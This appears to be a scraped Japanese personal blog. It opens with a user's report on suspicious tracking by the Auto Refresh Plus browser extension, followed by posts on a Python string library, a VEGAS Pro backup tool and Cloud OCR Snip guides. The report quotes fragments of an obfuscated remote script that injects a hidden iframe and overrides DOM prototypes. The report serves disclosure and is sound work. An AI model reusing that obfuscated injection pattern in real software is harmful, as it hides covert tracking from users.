【セキュリティレポート】Auto Refresh Plusの不審な挙動について

最近ウェブアプリの開発をしていると、開発中のページに見知らぬサードパーティCookieが付けられているのに気づきました。
詳しく調べるとそのCookieがブラウザ拡張機能Auto Refresh Plusによって発行されたものであることが分かったのですが、その動作がとても怪しいものであるため、利用者数がとても多い(40万人以上)ことを踏まえて今回この記事を書くことにしました。
結論から言うと、自分はこの拡張機能の使用を中止すべきだと思います。
※ブラウザ内に存在する限りプログラムが動き続けるので、アンインストールを行ってください。

何がやばいのか

怪しいところを探せばキリがないですが、特に以下の点は本当にやばいと思います。

無意味で怪しい通信
example.comは通常ではCookieが付与されないサイトです。

この拡張機能はユーザーが何かしらのサイトを閲覧する度に"3001.scriptcdn.net"というサイトと通信するようです。
名前的にJavaScriptファイル等を外部のCDNコンテンツ配信ネットワーク)に配置して、必要な時にそこからダウンロードして使うためのサイトと考えられるのですが、驚くべきことにこのサイトはこの拡張機能以外では使われていません。
というのも、scriptcdn.netというドメインGoogle検索しても技術系のドキュメントが一つも出てこないのです。
また、通信してダウンロードしているスクリプトファイルも拡張機能の動作に必要不可欠なものかどうか怪しいです。
というのも、ダウンロードしたスクリプトの一部は以下のようになっています。
ファイルのURL(引用元):https://3001.scriptcdn.net/code/static/1

_0x32b3['fbQbAp'] = function(_0x38a00c) {
    var _0x37db2d = _0x31b03b(_0x38a00c);
    var _0x4cf70a = [];
    for (var _0x3c7b92 = 0x3a4 + 0x18a * -0x1 + -0x21a, _0x18c768 = _0x37db2d['length']; _0x3c7b92 < _0x18c768; _0x3c7b92++) {
        _0x4cf70a += '%' + ('00' + _0x37db2d['charCodeAt'](_0x3c7b92)['toString'](0x18f3 + 0x12e0 + 0x11 * -0x293))['slice'](-(0x24d9 + -0x1bca * 0x1 + 0x14b * -0x7));
    }
    return decodeURIComponent(_0x4cf70a);
}
case '2':
    var _0x3ea808 = document['createElem' + 'ent'](_0x42e59b[_0x4c9219(-0x389, -0x2f9, -0x2fa, -0x26e)]);
    continue;
case '3':
    Element[_0x3f3a92(-0x3ae, -0x2d5, -0x195, -0x407)][_0x4c9219(-0x527, -0x539, -0x469, -0x68c) + 'd'] = _0x481455['contentWin' + _0x4c9219(-0x334, -0x486, -0x44b, -0x34e)][_0x4c9219(-0x364, -0x36b, -0x254, -0x498)]['prototype'][_0x4c9219(-0x416, -0x539, -0x527, -0x3fc) + 'd'];
    continue;
case '4':
    _0x481455[_0x4c9219(-0x478, -0x409, -0x337, -0x2e1)]['display'] = _0x42e59b['KUtJZ'];
    continue;
case '5':
    _0x481455['src'] = _0x42e59b[_0x3f3a92(-0x493, -0x4bc, -0x5ed, -0x578)];
    continue;
case '6':
    document['body']['appendChil' + 'd'](_0x481455);
    continue;

ぱっと見ですが、このファイルは実行するプログラムそのものではなく、実行するプログラムを書き出すためのプログラムのように見えます。
しかも" 'createElement' "をわざわざ" 'createElem' + 'ent' "と表記している辺り、セキュリティソフト等による検出を避けようとしているようにも見えます。
おまけにこのファイルにはアダルトサイトのドメインリストも含まれています。
これらは拡張機能の本来の目的に沿わないものであり、明らかに不自然です。
更に言ってしまえば、このサイトと通信する際に発行されるCookie(前述したもの)にはユーザーの特定に繋がりうるトークンが2つ保存されています。
ユーザーが何かしらのサイトにアクセスする度に通信していることも含めて考えると、このトークンはユーザーの追跡に使われていると考えていいと思います。
※一般的に拡張機能の動作に必要なスクリプトはインストールファイルの中に含めるので、ページ移動の度に一々ダウンロードしてくるのは不自然です。
仮に全く如何わしいことをしていなかったとしても、ページ閲覧の度に一々ダウンロードしていたらサイトの読み込みが遅くなるのでいいことはありません(自分が使っている他の拡張機能はこのような動作はしません)。
ちなみにプライバシーポリシーには「ウェブサイトやウェブサイトの利用状況などを追跡することはありません。」と書かれています。

提供者の情報が全く提供されていない

この拡張機能を提供している組織(または個人)の情報は徹底的に伏せられています。
例えばchromeウェブストアのデベロッパー情報のリンクは拡張機能の製品サイト(autorefresh.io)に繋がるだけですし、サポート窓口も製品サイト内の問い合わせフォームのみです。
プライバシーポリシー内には個人情報に関する問い合わせ用のメールアドレスがありますが、そのアドレスのドメインはautorefresh.ioであるため、具体的に誰がその問い合わせを処理するのかは分かりません。もし送ったメールに返信がない場合でも、会社名(または氏名)も電話番号も住所も分からないためどうしようもありません。
もちろんドメイン名もIPアドレスもCloudflareを使ってしっかり隠しています。

そもそも自分達で作ってない

この拡張機能のレビュー欄にこんな投稿がされていました。

あるユーザーはこの拡張機能は"盗まれたもの"であると主張。

この投稿の真偽について調査したところ、確かにこの拡張機能が出る前に同名で同じ機能を持つ拡張機能が公開されていたことが確認できました。
ソース:
https://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q13165534913
ただし上の投稿に書かれている「盗まれたもの」ということに関しては既にオリジナル版の拡張機能が公開終了していることもあり、検証できませんでした。
しかしながら、現在公開されている拡張機能を提供している組織(または個人)は拡張機能の開発をしていないこと・何かしらの理由で既に公開されていた拡張機能を自分達で再度リリースしたことは事実です。
無料で全ての機能が利用でき、収益が一切発生しないようなものをわざわざ再度リリースしたのには、何か特別な事情があったと考えざるを得ません。
オリジナル版のURL:
https://chrome.google.com/webstore/detail/auto-refresh-plus/ohfjpkccecpdfkpmfocndhepolhljfhg
現在公開されている拡張機能のURL:
https://chrome.google.com/webstore/detail/auto-refresh-plus-page-mo/hgeljhfekpckiiplhkigfehkdpldcggm

取るべき対応

この拡張機能を使っている人はすぐにでもアンインストールすることをおすすめします。
それができない場合はせめて「シークレットモードでの実行を許可する」をオフにしてください。
また、技術者の方は拡張機能の動作の検証にご協力ください。
一度動作を検証して頂き、この記事に書いたのと同様の挙動が見られた場合はストアへの報告をお願いします。
※自分はChrome ウェブストアとMicrosoft Edge アドオンストアに報告しておきました。

注意事項

・この記事には独自研究が含まれています。記事内の情報は自身の責任で利用してください。
・この記事の内容はあくまでも調査に基づく推測であり、絶対にそうであると言いきっているわけではありません。また、この記事に第三者の名誉を傷つけたり誹謗中傷する意図はありません。また、不利益を与える意図もありません。

最後に

色々と説明していたら長い記事になってしまいました。
最後までお読み頂きありがとうございました。

【Python】括弧の中の文字を抜き出したり、括弧の中を除いて文字列操作をする

最近Pythonでプログラムを組んでいる時に括弧の中を除いて文字列操作をするためのライブラリがなく苦労したので、そのために書いたコードをライブラリにまとめて公開することにしました。
需要があるか微妙なライブラリなので、PyPIでの公開は保留にしています。

公開サイト

プロジェクト名:Splitable str
モジュール名:sstr
github.com

使い方

例1:文章の中でカギ括弧で囲まれている単語を抜き出す

from sstr import sstr

text = 'これは「りんご」ですか?いいえ、「オレンジ」です。なら「ぶどう」をください。'
text_ = sstr(text)
surrounded_words = []
for part in text_.divide_and_classify(enclosure=[['「', '」']]):
    if part[1] == True:
        word = part[0]
        surrounded_words.append(word[1:-1])
print(surrounded_words)  # ['りんご', 'オレンジ', 'ぶどう']

例2:文章の中の「日」の数を数える(ダブルクォーテーションマークで囲まれている部分は検索対象から外す)

from sstr import sstr

text = '信頼できる人が"今日は晴れ"だと言っていたが、天気予報は今日・明日は雨だと言っている。'
text_ = sstr(text)
quantity = text_.scount('日', enclosure='"')
print(quantity)  # 2

その他の使用例はREADMEで確認できます。

VEGAS Proのプリセットなどを他のPCにコピーする

前置き

最近メインPCを変えました。

新しく使い始めるPCに自分がいつも使うソフトをインストールしていくのですが、中には設定の移行が必要なものもあります。

ChromeやらMicrosoft Officeなんかはアカウントと紐付いてるので自動でやってくれたりするのですが、そうでないソフトは自分で設定のエクスポート・インポートをしなければいけません。

そんな作業を眠気と闘いながらのんびりやっていると、動画編集ソフトのVEGAS Proの設定を移行するのが一筋縄ではいかないことに気づきました。

普通、動画編集ソフトなどのクリエイター向けソフトは設定の移行をするためのメニューがあったりするのですが、VEGAS Proだけはそういうのが見当たりませんでした。

仕方なくGoogle先生に聞きに行くと、「Preset Manager 2.0」というのをダウンロードするように言われました。

とはいっても、そのソフトは既に公式からの配布が終了しており、非公式のアーカイブサイトからダウンロードせざる得ない状況でした。

その時はもうクタクタだったので、ウイルスチェックだけしてそのインストーラーからソフトをインストールしました。

※良い子は怪しいサイトからプログラムをダウンロードしないように。

そしてそのソフトを使用してデータ移行をしたのですが、移行された設定はイベントFXのフィルタ パッケージだけでした。

ただそれ以外に使えそうなツールもないので、仕方がなく1時間ぐらいかけて手動で設定を移行しました。

一応今回はそれで移行が完了したのですが、数年後また同じことで苦労するのも嫌なので、設定を移行するのに必要な作業をプログラムにまとめておくことにしました。

本題

というわけで、今回はVEGAS Pro Configuration Backup Toolsをご紹介します。

このフリーソフトを使うとVEGAS Proのエフェクト設定などをバックアップ・復元できます。

バックアップ対象は「各イベントFXのフィルタ パッケージ」、「メディアジェネレータのプリセット」、「レンダリング テンプレート」です。

使い方

※プログラムを使用するにはライセンス(MIT License)への同意が必要です。

1. 最新のプログラムが入ったZIPファイルをダウンロードする

こちらのページに載っている最新のリリースの「Source code (zip)」をダウンロードしてください。

2. ZIPファイルを展開する

ダウンロードしたZIPファイルを右クリックして、「すべて展開」をクリックすると展開ウィザードが表示されます。

3. 展開したフォルダの中から自分がバックアップしたい項目のフォルダを見つける

[参考]

各イベントFXのフィルタ パッケージ → Event FX

メディアジェネレータのプリセット → OFX Presets

レンダリング テンプレート → Render Templates

4. バックアップしたい項目のフォルダ内にある「save.bat」を実行する(移行元で操作)

5. バックアップファイルを実行する(移行先で操作)

USBメモリなどでバックアップファイルを移行先にコピーする必要があります。

注意点

1. 全ての設定が移行されるわけではありません(例えばイベント パン/クロップのプリセットは移行されません)。

2. このプログラムは自己責任で使用してください。

Cloud OCR Snipで画像ファイルから文字を読み取る方法

このページではフリーソフト「Cloud OCR Snip」で画像ファイルから文字認識する方法について説明しています。

このソフトの概要についてはこちらを、インストール・初期設定方法についてはこちらをご覧ください。

また、画面上の文字を読み取る方法についてはこちらをご覧ください。

画像ファイルから文字認識する

1. タスクトレイのアイコンを右クリックする

2. 「画像ファイルから読み取る」を左クリックする

f:id:bigbamboo-jp:20211226042749p:plain

3. 文字認識する画像を選ぶ

f:id:bigbamboo-jp:20211226044754p:plain

4. 文字認識完了

f:id:bigbamboo-jp:20211226035605p:plain

クリップボード上にある画像から文字認識する

文字認識の結果と読み取った画像の両方が必要な場合は、先に切り取り & スケッチでスクリーンショットを撮影してから(ショートカットキー:Windowsキー・Shiftキー・Sキー同時押し)、その画像をCloud OCR Snipで読み込みます。

※切り取り & スケッチでショートカットキーを使用してスクリーンショットを撮影すると、自動でクリップボードにコピーされます。また、撮影完了時に表示される通知をクリックすると、スクリーンショットをファイルに保存することができます。

タスクトレイのアイコンから始める場合

1. タスクトレイのアイコンを右クリックする

2. 「クリップボードの画像から読み取る」を左クリックする

クリップボード上に読み込める画像データがない場合はクリックできません。

f:id:bigbamboo-jp:20211226050311p:plain

ショートカットキーから始める場合

1 & 2. ショートカットキーを押す

※デフォルトのショートカットキー:Windowsキー・Shiftキー・Dキー同時押し

クリップボード上に読み込める画像データがない場合は何も起きません。

共通の手順

3. 文字認識完了

f:id:bigbamboo-jp:20211226035605p:plain

※画面上の文字を読み取る方法についてはこちらをご覧ください。

Cloud OCR SnipでPCの画面から文字を読み取る方法

このページではフリーソフト「Cloud OCR Snip」で画面上の文字を読み取る方法について説明しています。

このソフトの概要についてはこちらを、インストール・初期設定方法についてはこちらをご覧ください。

また、画像ファイルから文字認識する方法についてはこちらをご覧ください。

タスクトレイのアイコンから始める場合

1. タスクトレイのアイコンを左クリックする

f:id:bigbamboo-jp:20211226034116p:plain

ショートカットキーから始める場合

1. ショートカットキーを押す

※デフォルトのショートカットキー:Altキー・Shiftキー・Sキー同時押し

共通の手順

2. 文字認識させたい範囲で左クリックしながらドラッグする

エスケープキーで文字認識をキャンセルできます。

3. 範囲が決まったら左クリックをやめる

f:id:bigbamboo-jp:20211226034720p:plain

4. 文字認識完了

f:id:bigbamboo-jp:20211226035605p:plain

※画像ファイルから文字認識する方法についてはこちらをご覧ください。

Cloud OCR Snipのインストール・初期設定方法

このページではフリーソフト「Cloud OCR Snip」のインストール・初期設定について説明しています。

↓のページでこのソフトの概要について説明しているので、読んでない方はぜひそちらを先にご覧ください。

bigbamboo-jp.hatenablog.com

インストールの流れ

1. 最新のインストーラーをダウンロードする

配布ページはこちらです。

f:id:bigbamboo-jp:20211227035539p:plain

2. ダウンロードしたインストーラーを実行する

f:id:bigbamboo-jp:20211227035303p:plain

※ユーザーアカウント制御の画面が表示された場合は実行を許可してください。

3. 画面の指示に従ってインストールする

初期設定の流れ

通常、インストールが完了すると自動で初期設定ウィンドウが開きますが、何らかの理由で開かなかった場合は以下の操作をしてください。

スタートメニューを開く→Cloud OCR Snip フォルダを展開する→Cloud OCR Snipを実行する

※ユーザーアカウント制御画面が出た場合は実行を許可してください。

f:id:bigbamboo-jp:20211227035040p:plain

基本的には画面の指示に従っていけば初期設定を終えることができますが、クラウドサービスの設定については少し複雑なのでここで簡単に説明したいと思います。

Google Cloud Vision APIを使う場合

このクラウドサービスは利用時に認証が必要であるため、事前にGoogleのサイトで登録を行っておく必要があります。

ここで説明しようかとも思いましたが、既にしっかり解説しているサイトがあったのでそちらをご覧ください。リンク先のページのjsonファイルをダウンロードするところまでの操作が必要です(ダウンロードしたファイルはソフトに登録してください)。

※設定する支払い方法はクレジットカード(デビット含む)、PayPalから選べます。

www.asobou.co.jp

さっそく使ってみる

初期設定が終わったら、早速使ってみましょう!

※使い方は以下のページで説明しています。

 画面上の文字を認識する方法:

https://bigbamboo-jp.hatenablog.com/entry/cos-introduction-3

 画像ファイルから文字認識する方法:

https://bigbamboo-jp.hatenablog.com/entry/cos-introduction-4

PCの画面や画像ファイルに含まれる文字を読み取って使いたい!

PCを使っていると、たまにこんなことがあります。

f:id:bigbamboo-jp:20211225214211p:plain

「え...なんだって?」(画像:EmEditorのメッセージダイアログ)

こんなとき、大体の人は翻訳サイトを使って意味を理解しようとします。ですが、これはメッセージダイアログです。

ドラッグして範囲選択をした後に右クリックして「コピー」をクリック...        なんてことはできません。

なので、普通は翻訳サイトに手打ちで入力することになるのですが、ある程度長いテキストになってくるともう面倒くさくて仕方ないわけです。そうなると、人は楽したい生き物なので「画面上の文字をぱっと読み取る方法はないかな~」なんて考えますよね?

今回はそれを簡単に実現するソフトをご紹介したいと思います。

フリーソフト:Cloud OCR Snip

前置きが長くなりましたが、今回紹介するのは「Cloud OCR Snip」というフリーソフトです。

画面上の文字を読み取る方法は他のブログでも紹介されていたりするのですが、大体どの方法も手順が多い認識精度が微妙などの問題を抱えています。

f:id:bigbamboo-jp:20211225211550p:plain

北海道=j七海道 では使い物にならない (画像:「日本」の検索結果をGT Textで文字認識させた結果)

上の画像のような認識結果を返すソフトはみんなローカルの文字認識エンジンを使用して文字認識をしています。確かに簡単な文であればそれできちんと読み取れるかもしれませんが、少し難しい文字が入ってきたりすると一気に精度が落ちてしまいます。

同じ文章を今度はCloud OCR Snipで文字認識させてみます。

f:id:bigbamboo-jp:20211225213445p:plain

ぱっと見、間違いが見つからない (画像:「日本」の検索結果をCloud OCR Snipで文字認識させた結果)

こちらは一字一句しっかりと読み取れています。

ここまで差が出る理由は、画像の解像度の違いなどではなく、データをクラウドで処理している点にあります。詳しく言うと、撮影した画像をクラウドサービスに送信して、クラウドサービスで分析して返ってきた結果を表示しているためです。

ただそれだけを聞くと、「なぜ画像を処理する場所が変わっただけでこれほど差が出るの?」と疑問を抱くと思います。

それはそれぞれのクラウドサービスが独自技術で認識精度を上げているからなのですが、上の例で使ったクラウドサービスの「Google Cloud Vision API」の場合は以下のようなことを行っていると思われます。

  • 世界中の人々が行ったウェブ検索で収集したデータを分析する
  • ウェブ上の画像を収集して分析する
  • これまでに行った文字認識のデータを分析する

このような文字認識の機能はクラウドサービスによっては完全に有料だったりするんですが、Google Cloud Vision API」については毎月1000回まで無料です(1000回を超えると1000回ごとに$1.50 (約170円)かかります)。

※上記の情報は2021年12月時点のものです。最新の情報はこちらから確認してください。

また、タスクバーの右にあるアイコンをクリックするかショートカットキーを押すだけで文字認識を始められるので、ちょっと調べたいような時でも手軽に使用できます。

まとめると、Cloud OCR SnipとGoogle Cloud Vision APIを使えば(毎月1000回まで)無料かつ簡単にとても高精度な文字認識を利用できるというわけです。

使い方

細かく説明するためにページを分けました。

インストール・初期設定方法:

https://bigbamboo-jp.hatenablog.com/entry/cos-introduction-2

画面上の文字を読み取る方法:

https://bigbamboo-jp.hatenablog.com/entry/cos-introduction-3

画像ファイルから文字認識する方法:

https://bigbamboo-jp.hatenablog.com/entry/cos-introduction-4

リンク